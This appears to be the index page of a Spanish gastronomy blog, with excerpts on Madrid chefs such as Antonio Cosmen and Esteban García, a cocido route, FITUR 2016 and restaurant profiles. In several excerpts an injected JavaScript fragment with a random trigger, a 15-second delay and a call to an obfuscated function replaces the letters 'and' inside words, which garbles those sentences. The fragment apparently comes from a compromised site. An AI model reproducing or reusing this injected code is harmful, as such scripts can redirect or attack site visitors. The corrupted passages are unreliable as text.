Los periodistas eligen restaurante

Un buen restaurante no lo hacen los personajes conocidos y famosos que lo visitan, hay muchísimo trabajo detrás, no solo en cocina, que es lo que realmente lo hace posible. Pero eso no quita que los famosos quieran conocerlos y disfrutar de ellos. En el mundo de las modas y tendencias suele haber un denominador común: la […]

Antonio Cosmen: Imparable

Por todos es conocido el buen hacer del Chef asturiano Antonio Cosmen en su cocina. Hasta hace nada, llevaba una carrera progresiva que, en los últimos meses, se ha visto disparada por una gran cantidad de reconocimientos profesionales. De ahí que el titular no pueda ser otro. Hace años, cuandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando le conocí, […]

Esteban García: Nosotros proponemos San Valentín todos los días

Hoy hemos comido con Esteban García en su Restaurante El Pitaco de Madrid. Y, como siempre, hemos hablado de Gastronomía, vinos y temporada. Esteban, tu eres un profesional que tiene muy en cuenta el calendario en tu cocina. ¿Qué tienes pensado para San Valentín? Nosotros proponemos San Valentín todos los días. Es cierto que ahora […]

La VI Ruta del Cocido Madrileño incorpora una receta histórica

Del 13 de febrero al 31 de Marzo. 33 restaurantes participan en la sexta edición de la Ruta del Cocido Madrileño, del viernes 13 de febrero al jueves 31 de marzo. Desde locales centenarios de la capital a nuevos establecimientos de otros puntos de la región. Todos sirven su propia versión de una de las […]

Jornada “Del paisaje al plato: cómo se crea un destino gastronómico”

El próximo miércoles, 13 de enero de 2016, tendrá lugar en Navacerrada (Madrid) una jornada denominada “Del paisaje al plato: cómo se crea un destino gastronómico”. Este evento tiene por objeto la potenciación de un mayor conocimiento del turismo gastronómico, sus tendencias y sus productos en torno al destino Sierra de Guadarrama, centrándonos en el […]

Fiturtech 2016 mostrará cómo será el Hotel del futuro

FITUR 2016, la Feria Internacional de Turismo organizada por IFEMA que se desarrollará del 20 al 24 de enero próximos, en la FERIA DE MADRID, mostrará en el marco de su sección especializada FITURTECH, cómo será el hotel del futuro tras el impacto de las nuevas tecnologías. Además, este Foro de la Innovación y Tecnología […]

Crónica de una receta: Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andada de bacalao

Esto podría ser la crónica de una receta: Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andada de bacalao. He tenido el placer de degustarlo en uno de mis rincones favoritos de Madrid, en el Restaurante el Pitaco. Mi buen amigo Esteban, propietario del local, llevaba tiempo queriendo invitarme a comer para celebrar una buena noticia recibida hace […]

I Semana Gastronómica del Atún de San Sebastián de los Reyes

Narciso Romero y Antonio Cosmen presentan la I Semana Gastronómica del Atún de San Sebastián de los Reyes La I Semana Gastronómica del Atún se presenta este jueves 19 de noviembre a las 11:30, en el Centro Municipal de Formación de San Sebastián de los Reyes (Avenida Ramón y Cajal, 5). Tras las introducciones de […]

Go Catering: preparandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando ya la Navidad

Arrancan ya las fechas en las que empresas y particulares buscan espacio y servicio de catering para sus comidas, cenas y fiestas de Navidad. Es una sana costumbre, la de reunirse y dejar el trabajo a un lado por unas horas para relajarnos y disfrutar de lo que más nos gusta: comer y beber bien. […]

Restaurante Dantxari

Este restaurante nace en 1997 como consecuencia de la fusión de dos profesionales de reconocido prestigio en la alta hostelería española: Ángel Alonso en la cocina y Jesús Medina en sala. Unidos desde entonces, ofrecen su tradicional cocina vasco-navarra con una carta original y de calidad suprema.El restaurante está dividido en dos plantas, con una […]